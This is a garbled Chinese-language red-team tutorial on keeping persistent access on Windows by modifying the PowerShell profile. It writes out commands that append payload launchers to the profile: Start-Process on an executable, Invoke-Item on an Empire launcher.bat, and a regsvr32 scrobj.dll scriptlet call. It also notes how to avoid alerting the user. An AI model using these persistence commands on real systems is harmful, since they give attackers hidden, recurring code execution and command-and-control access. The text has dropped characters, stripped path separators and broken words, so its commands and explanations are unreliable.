w權(quán)限維持十一power配置文件

1、PowerShell 配置文件是一個(gè)PowerShell ，它 系統(tǒng)管理員和用戶自定義其環(huán)境，并在PowerShell會(huì)話啟動(dòng)時(shí)執(zhí)行特定命令。它類似于管理員大量使用的登錄 ，用于為用戶 網(wǎng)絡(luò)驅(qū)動(dòng)器和打印機(jī)或收集有關(guān)系統(tǒng)的信息。如果用戶定期在PowerShell上執(zhí)行工作，修改PowerShell概要文件 的內(nèi)容將 對(duì)手或red團(tuán)隊(duì)將其用作持久性機(jī)制。這種技術(shù)可以在當(dāng)前用戶的上下文中執(zhí)行。PowerShell配置文件在“WindowsPowerShell”文件夾中，默認(rèn)情況下，該文件夾對(duì)用戶隱藏。如果已將負(fù)載放入磁盤，則可以使用“Start-Process”cmdlet指向可執(zhí)行文件的位置。“測(cè)

2、試路徑$Pro le”確定當(dāng)前用戶是否存在配置文件。如果配置文件不存在，命令“新項(xiàng)-路徑-配置文件類型-文件強(qiáng)制”將為當(dāng)前用戶創(chuàng)建一個(gè)概要文件，“out文件”將用新內(nèi)容重寫概要文件。PowerShell配置文件啟動(dòng)過程PowerShell下次啟動(dòng)時(shí)將執(zhí)行配置文件的內(nèi)容，并使用命令和控件建立連接。echo $profileTest-Path $profileNew-Item -Path $profile -Type File Force$string = 'Start-Process "C:tmppentestlab.exe"'$string | Out-Fi

3、le -FilePath "C:UserspentestlabDocumentsWindowsPowerShellMicrosoft.PowerShell_profile.ps 1" -Append持久性 PowerShell配置文件可執(zhí)行與啟動(dòng)過程類似，“ Invoke-Item ” cmdlet可用于執(zhí)行項(xiàng)目的默認(rèn)操作，即運(yùn)行文件，打開應(yīng)用程序等。launcher.bat是Empire生成的有效負(fù)載，具有自我刪除功能在執(zhí)行時(shí)作為更 的選擇，因?yàn)樗鼊?chuàng)建新流程。PowerShell配置文件 BAT文件當(dāng)PowerShell在系統(tǒng)上再次啟動(dòng)時(shí)，將執(zhí)行該文件，并且 將與命令和控

4、件進(jìn)行通訊。執(zhí)行 像上面的示例那樣在系統(tǒng)上創(chuàng)建新進(jìn)程，而是將使用現(xiàn)有的PowerShell進(jìn)程。echo $profileTest-Path $profileNew-Item -Path $profile -Type File ForceAdd-Content $profile "Invoke-Item C:tmplauncher.bat"$string | Out-File -FilePath "C:UserspentestlabDocumentsWindowsPowerShellMicrosoft.PowerShell_profile.ps 1" -

5、Append持久性-PowerShell Pro le Empirecmdlet“ Invoke-Command ” 的用法執(zhí)行命令。regsvr32方法可以用作隱藏選項(xiàng)，因?yàn)樗梢砸?guī)避未正確配置的應(yīng)用程序白解決方案，并且可以從位置執(zhí)行scriptlet。PowerShell配置文件執(zhí)行命令echo $profileTest-Path $profileNew-Item -Path $profile -Type File Force$string = 'Invoke-Command -ScriptBlock regsvr32 /s /n /u/i:scrobj.dll '$str

6、ing | Out-File -FilePath "C:UserspentestlabDocumentsWindowsPowerShellMicrosoft.PowerShell_profile.ps 1" -AppendMetasploit框架包含一個(gè)模塊（web_delivery），該模塊可以生成并提供 scriptlet文件。但是， 其 令和 （C2）框架（例如PoshC2）也支持此功能，并且與Metasploit相比，可以提供擴(kuò)展的功能。持久性 PowerShell配置文件Regsvr32使用多個(gè)命令對(duì)PowerShell配置文件進(jìn)行大量修改會(huì)向用戶一條有關(guān)增加加載時(shí)間的消息。但是，執(zhí)行一個(gè)命令產(chǎn)生任何消息，有效負(fù)載將在運(yùn)行，并且用戶注意到任何差異。馬特·尼 爾森（Matt Nelson）過去做過一些工作，在他的博客中已經(jīng)展示了有關(guān)通過使用Excel 宏作為傳遞機(jī)制來創(chuàng)建和PowerShell配置文件的工作。通過將任意命令在配置文件中，PowerShell配置文件為代碼執(zhí)